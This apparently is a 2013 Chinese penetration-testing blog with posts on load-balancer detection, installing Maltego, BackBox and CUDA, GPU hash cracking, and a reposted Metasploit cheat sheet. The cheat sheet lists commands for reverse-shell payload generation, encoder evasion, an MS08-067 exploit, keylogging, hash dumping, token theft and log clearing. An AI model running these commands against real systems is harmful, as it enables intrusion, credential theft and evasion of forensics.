2013年5月23日 星期四

How to detect LOAD BALANCE System? (如何偵測網站是屬於Load Balance架構?)

如何偵測網站是屬於Load Balance架構?

一般來說,大型網站大多設計有"Load Balance"架構,藉以應付\大量的網路存取並可分擔網路流量,但是對"滲透測試"來講,就必須先搞清楚,免得做了一堆無用測試。

下面介紹幾種偵測方法:

1.  Dig 指令:

     $ dig www.google.com

; <<>> DiG 9.8.1-P1 <<>> www.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18625
;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0
\
;; QUESTION SECTION:
;www.google.com. IN A

;; ANSWER SECTION:
www.google.com. 5 IN A 173.194.72.147
www.google.com. 5 IN A 173.194.72.99
www.google.com. 5 IN A 173.194.72.103
www.google.com. 5 IN A 173.194.72.104
www.google.com. 5 IN A 173.194.72.105
www.google.com. 5 IN A 173.194.72.106

;; Query time: 19 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Thu May 23 13:50:49 2013
;; MSG SIZE  rcvd: 128

2. halberd


$ halberd -v www.yyy.yyy.cn
halberd 0.2.4 (14-Aug-2010)

INFO looking up host www.yyy.yyy.cn...
INFO host lookup done.
211.88.yyy.151    [##########]  clues:  30 | replies: 286 | missed:   0

======================================================================
http://www.yyy.yyy.cn (211.88.yyy.151): 2 real server(s)
======================================================================

server 1: Apache/1.3.29 (Unix) PHP/4.3.6
----------------------------------------------------------------------

difference: 1369288820 seconds
successful requests: 118 hits (41.26%)
header fingerprint: 2d400052972048f733d653df965c209396fa5901
different headers:
  1. X-Cache-Debug: TCP_MISS/NIP-CNVR/-

server 2: Apache/1.3.29 (Unix) PHP/4.3.6
----------------------------------------------------------------------

difference: 1369288820 seconds
successful requests: 168 hits (58.74%)
header fingerprint: 29cfb7ec75f8372af0ade98cdb9959a191248940
different headers:
  1. X-Cache-Debug: TCP_CNC_MISS/CNC-NIP-CNVR/-



$ halberd -v www.xxx.xxx.cn
halberd 0.2.4 (14-Aug-2010)

INFO looking up host www.xxx.xxx.cn...
INFO host lookup done.
INFO www.xxx.xxx.cn resolves to 58.68.xxx.250
INFO www.xxx.xxx.cn resolves to 65.255.xxx.2
58.68.168.250    [##########]  clues:  15 | replies: 160 | missed:   0

======================================================================
http://www.xxx.xxx.cn (58.68.xxx.250): 2 real server(s)
======================================================================

server 1: IBM_HTTP_Server/6.0.1 Apache/2.0.47 (Unix) mod_jk/1.2.26
----------------------------------------------------------------------

difference: 28800 seconds
successful requests: 156 hits (97.50%)
header fingerprint: c4d1afcc03570ffdaea39a17c7da23282b4c8b89
different headers:
  1. Date: Thu, 23 May 2013 06:10:09 GMT
  2. Powered-By-ChinaCache: HIT from 0600224355
  3. Expires: Thu, 23 May 2013 06:11:09 GMT
  4. Powered-By-ChinaCache: HIT from 26071413iA

server 2: IBM_HTTP_Server/6.0.1 Apache/2.0.47 (Unix) mod_jk/1.2.26
----------------------------------------------------------------------

difference: 30943 seconds
successful requests: 4 hits (2.50%)
header fingerprint: 576c78d99c688843ec355def953046e59556e2c5
different headers:
  1. Date: Thu, 23 May 2013 05:34:26 GMT
  2. Powered-By-ChinaCache: MISS from 0603517354
  3. Powered-By-ChinaCache: HIT from 26071413iA
65.255.44.2      [##########]  clues:  14 | replies: 112 | missed:   0

======================================================================
http://www.xxx.xxx.cn (65.255.xxx.2): 2 real server(s)
======================================================================

server 1: IBM_HTTP_Server/6.0.1 Apache/2.0.47 (Unix) mod_jk/1.2.26
----------------------------------------------------------------------

difference: 28815 seconds
successful requests: 4 hits (3.57%)
header fingerprint: 7f2729977dc32a8b0d81570e226a315103ca17c8
different headers:
  1. Server: IBM_HTTP_Server/6.0.1 Apache/2.0.47 (Unix) mod_jk/1.2.26
  2. Date: Thu, 23 May 2013 06:10:09 GMT
  3. Content-Type: text/html
  4. Expires: Thu, 23 May 2013 06:11:09 GMT
  5. Last-Modified: Mon, 31 Dec 2012 16:52:48 GMT
  6. ETag: "9c240d2-f3-d7ce7800"
  7. Powered-By-ChinaCache: HIT from 0603517354
  8. Powered-By-ChinaCache: HIT from 26030513b1

server 2: IBM_HTTP_Server/6.0.1 Apache/2.0.47 (Unix) mod_jk/1.2.26
----------------------------------------------------------------------

difference: 28816 seconds
successful requests: 108 hits (96.43%)
header fingerprint: b8232b9e68039605b79a69c51e1bd32c464e523f
different headers:
  1. Last-Modified: Mon, 31 Dec 2012 16:52:48 GMT
  2. Content-Type: text/html
  3. Date: Thu, 23 May 2013 06:10:09 GMT
  4. Server: IBM_HTTP_Server/6.0.1 Apache/2.0.47 (Unix) mod_jk/1.2.26
  5. ETag: "9c240d2-f3-d7ce7800"
  6. Powered-By-ChinaCache: HIT from 060531B35y
  7. Expires: Thu, 23 May 2013 06:11:09 GMT
  8. Powered-By-ChinaCache: HIT from 26030513b1



上述兩種就可以看出,www.gooogle.com 運用多個不同IP位置來提供網路分流,另外www.yyy.yyy.cn 雖然只有一個對外IP,但實際上有兩部Web Server在提供服務,
www.xxx.xxx.cn 有2組不同的IP。






2013年4月22日 星期一

Maltego 資訊蒐集工具


系統滲透測試的首要步驟就是資訊蒐集,而資訊蒐集除了使用Google以外,Maltego是另一個非常好用的工具
它可以用來蒐集Email,Twitter,Facebook,電話號碼,甚至主機系統的網路拓樸等等

Maltego可以在這裡下載,請注意Commercial(商業版)是需要收費的,只有Cummunity Editions版(以下簡稱CE)版本才是對用戶免費的版本。
安裝中必須在該官網申請一個使用帳號,隨後確認郵件,輸入相關資料後就完成註冊。

下面就一步步的教各位如何安裝吧!

1.先連上官網的下載頁面

2.點選MALTEGO的圖片

 2.點選Community(free)的圖片

 3.選擇你需要的平台安裝程式 (Windows,Mac,Linux)





我選的是Linux Deb的版本

接下來安裝在BackBox上試試吧













哈! 完成收工!



Install BackBox 3.0 on VMware Fusion

BackBox 也是一個資安滲透測試平台,它採用ubuntu 的作業系統為操作底層(這跟Backtrack一樣),不過裡面安裝的工具較Backtrack 少,但版本較新,且比較實用,個人經驗:在Backtrack裡面確實提供了不少工具,但是說實話,有多少人全都會用??而且整個安裝起來至少約需12GB以上,攜帶性也不佳,而且近期Backtrack5rc3的版本,只要執行apt-get upgrade 以後,問題一大堆,還要一個個自己修復....暈倒..

而BackBox在操作與使用上確實較Backtrack 簡單多了,所以,建議初學者可以先從此入門,在進階到Backtrack,這樣會是一條最佳的學習路徑。

以下就介紹要如何安裝使用它吧!

1.取得Backbox 最新版本
Backbox 官網


ISO-Torrent


2.使用VMware安裝
下面截了幾張安裝步驟:







建議硬碟空間要預先分配大一點,方便未來安裝各種工具




3.開始安裝BackBox囉!




請點選Install BackBox 進行安裝



   在這裡,你可以預先勾選在安裝過程中,一併進行更新







就這簡單的幾個步驟,就完成安裝了(其實跟安裝ubuntu及Backtrack的過程幾乎相同)

安裝完重新啟動,就可以登入系統



第一次登入,必須先裝VM-Tools工具




將VMwareTools-9.2.2-893683.tar.gz 複製到user的家目錄



將檔案解壓縮:tar zxvf VMwareTools-9.2.2-893683.tat.gz



接下來進入Vmtools 的安裝目錄, 並使用super user的權限執行安裝
cd vmware-tools-distrib
sudo ./vmware-install.pl 



待安裝vmtools後,請重新開機,並再將系統所有套件更新到最新版本.






整個系統與套件都更新後看看用了多少硬碟空間吧

儘有約5.6GB,確實比Backtrack5rc3(12GB)瘦身了不少!!

再來看看安裝後的一些工具版本吧!

Metasploit v4.7.0-dev(比Backtrac5rc3裡面的還要新)



開發工具版本也都蠻新的,不錯!










2013年4月2日 星期二

Use GPU to crack password

當手上一堆MD5、 SHA1等等的加密的密碼檔要如何快速的解密呢?
"John the ripper" 是一個選項,這次要介紹的是另一個也是專門破解密碼的工具:

IGHASHGPU 

Program to recover/crack SHA1, MD5 & MD4 hashes.


作者網站的部分說明:
Copyright (C) 2009-2010 Ivan Golubev, http://golubev.com
Read notes about v0.90 at my blog first if you're curious why ATI version is so limited now.
Description
This software using ATI RV 7X0/8X0 and nVidia "CUDA" video cards to brute-force MD4, MD5 & SHA1 hashes. Speed depends on GPU,

ATI HD5870:
~3650M/s single MD5
~1360M/s single SHA1
ATI HD4770:
~1075M/s single MD5
~350M/s single SHA1
nVidia GTS250:
~570M single MD5
~175M single SHA1
As ighashgpu supports salted hashes it's possible to use it for:

Plain MD4, MD5, SHA1.
NTLM
Domain Cached Credentials
Oracle 11g
MySQL5
MSSQL
vBulletin
Invision Power Board
and more ...
Supported GPUs

以下是測試的畫面結果:




平均都是在幾分鐘或是幾秒內就解把密碼給解譯出來,算是另一種破解密碼的選擇。



2013年3月28日 星期四

metasploit(MSF)终端命令大全


metasploit(MSF)终端命令大全 (來源:網路轉載)


show exploits
列出metasploit框架中的所有渗透攻击模块。
show payloads
列出metasploit框架中的所有攻击载荷。
show auxiliary
列出metasploit框架中的所有辅助攻击载荷。
search name
查找metasploit框架中所有的渗透攻击和其他模块。
info
展示出制定渗透攻击或模块的相关信息。
use name
装载一个渗透攻击或模块。
LHOST
你本地可以让目标主机连接的IP地址,通常当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特别为反弹式shell使用。
RHOST
远程主机或是目标主机。
set function
设置特定的配置参数(EG:设置本地或远程主机参数)。
setg function
以全局方式设置特定的配置参数(EG:设置本地或远程主机参数)。
show options
列出某个渗透攻击或模块中所有的配置参数。
show targets
列出渗透攻击所有支持的目标平台。
set target num
指定你所知道的目标的操作系统以及补丁版本类型。
set payload name
指定想要使用的攻击载荷。
show advanced
列出所有高级配置选项。
set autorunscript migrate -f.
在渗透攻击完成后,将自动迁移到另一个进程。
check
检测目标是否选定渗透攻击存在相应的安全漏洞。
exploit
执行渗透攻击或模块来攻击目标。
exploit -j
在计划任务下进行渗透攻击(攻击将在后台进行)。
exploit -z
渗透攻击完成后不与回话进行交互。
exploit -e encoder
制定使用的攻击载荷编码方式(EG:exploit -e shikata_ga_nai)。
exploit -h
列出exploit命令的帮助信息。
sessions -l
列出可用的交互会话(在处理多个shell时使用)。
sessions -l -v
列出所有可用的交互会话以及详细信息,EG:攻击系统时使用了哪个安全漏洞。
sessions -s script
在所有活跃的metasploit会话中运行一个特定的metasploit脚本。
sessions -K
杀死所有活跃的交互会话。
sessions -c cmd
在所有活跃的metasploit会话上执行一个命令。
sessions -u sessionID
升级一个普通的win32 shell到metasploit shell。
db_create name
创建一个数据库驱动攻击所要使用的数据库(EG:db_create autopwn)。
db_connect name
创建并连接一个数据库驱动攻击所要使用的数据库(EG:db_connect user:passwd@ip/sqlname)。
db_namp
利用nmap并把扫描数据存储到数据库中(支持普通的nmap语句,EG:-sT -v -P0)。
db_autopwn -h
展示出db_autopwn命令的帮助信息。
db_autopwn -p -r -e
对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell。
db_destroy
删除当前数据库。
db_destroy user:passwd@host:port/database
使用高级选项来删除数据库。
***metasploit命令***
help
打开meterpreter使用帮助。
run scriptname
运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。
sysinfo
列出受控主机的系统信息。
ls
列出目标主机的文件和文件夹信息。
use priv
加载特权提升扩展模块,来扩展metasploit库。
ps
显示所有运行的进程以及相关联的用户账户。
migrate PID
迁移到一个指定的进程ID(PID号可通过ps命令从主机上获得)。
use incognito
加载incognito功能(用来盗窃目标主机的令牌或假冒用户)
list_tokens -u
列出目标主机用户的可用令牌。
list_tokens -g
列出目标主机用户组的可用令牌。
impersonate_token DOMAIN_NAME\USERNAME
假冒目标主机上的可用令牌。
steal_token PID
盗窃给定进程的可用令牌并进行令牌假冒。
drop_token
停止假冒当前令牌。
getsystem
通过各种攻击向量来提升系统用户权限。
execute -f cmd.exe -i
执行cmd.exe命令并进行交互。
execute -f cmd.exe -i -t
以所有可用令牌来执行cmd命令并隐藏该进程。
rev2self
回到控制目标主机的初始用户账户下。
reg command
在目标主机注册表中进行交互,创建,删除,查询等操作。
setdesktop number
切换到另一个用户界面(该功能基于那些用户已登录)。
screenshot
对目标主机的屏幕进行截图。
upload file
向目标主机上传文件。
download file
从目标主机下载文件。
keyscan_start
针对远程目标主机开启键盘记录功能。
keyscan_dump
存储目标主机上捕获的键盘记录。
keyscan_stop
停止针对目标主机的键盘记录。
getprivs
尽可能多的获取目标主机上的特权。
uictl enable keyboard/mouse
接管目标主机的键盘和鼠标。
background
将你当前的metasploit shell转为后台执行。
hashdump
导出目标主机中的口令哈希值。
use sniffer
加载嗅探模式。
sniffer_interfaces
列出目标主机所有开放的网络端口。
sniffer_dump interfaceID pcapname
在目标主机上启动嗅探。
sniffer_start interfaceID packet-buffer
在目标主机上针对特定范围的数据包缓冲区启动嗅探。
sniffer_stats interfaceID
获取正在实施嗅探网络接口的统计数据。
sniffer_stop interfaceID
停止嗅探。
add_user username password -h ip
在远程目标主机上添加一个用户。
clearev
清楚目标主机上的日志记录。
timestomp
修改文件属性,例如修改文件的创建时间(反取证调查)。
reboot
重启目标主机。
***MSFpayload命令***
msfpayload -h
msfpayload的帮助信息。
msfpayload windows/meterpreter/bind_tcp O
列出所有windows/meterpreter/bind_tcp下可用的攻击载荷的配置项(任何攻击载荷都是可用配置的)。
msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT X > payload.exe
创建一个metasploit的reverse_tcp攻击载荷,回连到LHOSTip的LPORT,将其保存为名为payload.exe的windows下可执行程序。
msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT R > payload.raw
创建一个metasploit的reverse_tcp攻击载荷,回连到LHOSTip的LPORT,将其保存为名为payload.raw,该文件后面的msffencode中使用。
msfpayload windows/meterpreter/reverse_tcp LPORT=PORT C > payload.c
创建一个metasploit的reverse_tcp攻击载荷,导出C格式的shellcode。
msfpayload windows/meterpreter/reverse_tcp LPORT=PORT J > payload.java
创建一个metasploit的reverse_tcp攻击载荷,导出成以%u编码方式的javaScript语言字符串。
***msfencode命令***
mefencode -h
列出msfencode的帮助命令。
msfencode -l
列出所有可用的编码器。
msfencode -t (c,elf,exe,java,is_le,js_be,perl,raw,ruby,vba,vbs,loop_vbs,asp,war,macho)
显示编码缓冲区的格式。
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
使用shikata_ga_nai编码器对payload.raw文件进行5编码,然后导出一个名为encoded_payload.exe的文件。
msfpayload windows/meterpreter/bind_tcp LPORT=PORT R | msfencode -e x86/_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe
创建一个经过多种编码格式嵌套编码的攻击载荷。
msfencode -i payload.raw BufferRegister=ESI -e x86/alpja_mixed -t c
创建一个纯字母数字的shellcode,由ESI寄存器只想shellcode,以C语言格式输出。
***MSFcli命令***
msfcli | grep exploit
仅列出渗透攻击模块。
msfcli | grep exploit/windows
仅列出与windows相关的渗透攻击模块。
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=PORT RHOST=IP E
对IP发起ms08_067_netapi渗透攻击,配置了bind_tcp攻击载荷,并绑定在PORT端口进行监听。

2013年3月26日 星期二

在Mac 上安裝CUDA

隨著時間與技術的發展,電腦GPU繪圖晶片的架構與運算能力已經和CPU中央處理器並駕齊驅、甚至是超越的處理器的表現。
而且繪圖晶片廠商為了加強3D視覺運算,浮點運算的能力已經是CPU的數倍之多。
從下圖就可看出運算的速度是CPU的數倍

而GPU的架構就好像是目前正夯的多核心處理器一樣,利用多執行緒的平行運算概念,加快同一單位時間的運算速度,也彈性充分發揮每個執行單位的性能。





而若要運用發揮GPU功能,那就需要CUDA這個開發平台!!

什麼是Nvidia CUDA?
CUDA是(Compute Unified Device Architecture)四個字的縮寫,是由NVIDIA所推出的一種整合技術。透過這個技術,使用者可利用NVIDIA的GeForce 8以後的GPU和較新的Quadro GPU進行計算。實際上,CUDA架構可以相容OpenCL或者自家的C-編譯器。無論是CUDA C-語言或是OpenCL,指令最終都會被驅動程式轉換成PTX代碼,交由顯示核心計算。



而善加運用GPU的平行處理與高速運算能力,這將使密碼破解更為容易~~~

首先介紹要如何安裝CUDA SDK在Mac上吧!
  1. 支援CUDA功能的GPU。GPU(圖形處理器)的列表可以在這裡找到
  2. Mac OS X 10.5.6或更高版本
  3. Mac 上必須安裝gcc編譯器和Xcode
  4. CUDA軟體(從http://developer.nvidia.com/cuda/cuda-downloads)
當確認GPU以及Mac作業系統版本後ㄝ,需要下載的CUDA軟體。最新版本的開發工具,可從Nvidia網站上面下載:






  1. CUDA Driver
  2. CUDA Toolkit
  3. GPU Computing SDK





安裝CUDA Driver:
完成CUDA Driver下載後,就直接安裝了,步驟如下面的幾張截圖


第二步就是安裝CUDA Toolkit,一樣地,請參考下面幾張圖片吧







第三步驟
進行相關的參數與路徑設定
注意1:CUDA driver package 應該會被安裝於  /Library/Framework/CUDA.framework 目錄以及包含 /usr/local/cuda/lib/libcuda.dylib 等檔案

注意2:CUDA Toolkit 的所有檔案預設應該都會被安裝於/usr/local/cuda 這個目錄下

注意3: 環境變數的路徑,請加入 /usr/local/cuda/bin 以及DYLD_LIBRARY_PATH 的路徑要包含 /usr/local/cuda/lib

指令如下:
export PATH=/usr/local/cuda/bin:$PATH
export DYLD_LIBRARY_PATH=/usr/local/cuda/lib:$DYLD_LIBRARY_PAT

當然你可以將上述的指令加入  ~/.bash_profile ,這樣就不必每次都要設定路徑

接下來就可以測試是否安裝成功了
請開啟Mac的終端機程式,並進入下面的路徑
$cd /Developer/NVIDIA/CUDA-5.0/samples/1_Utilities/deviceQuery
$make
$./deviceQuery

此時就可以看看你機器跑起來的狀況了














用APNIC找出台灣所有的IP位址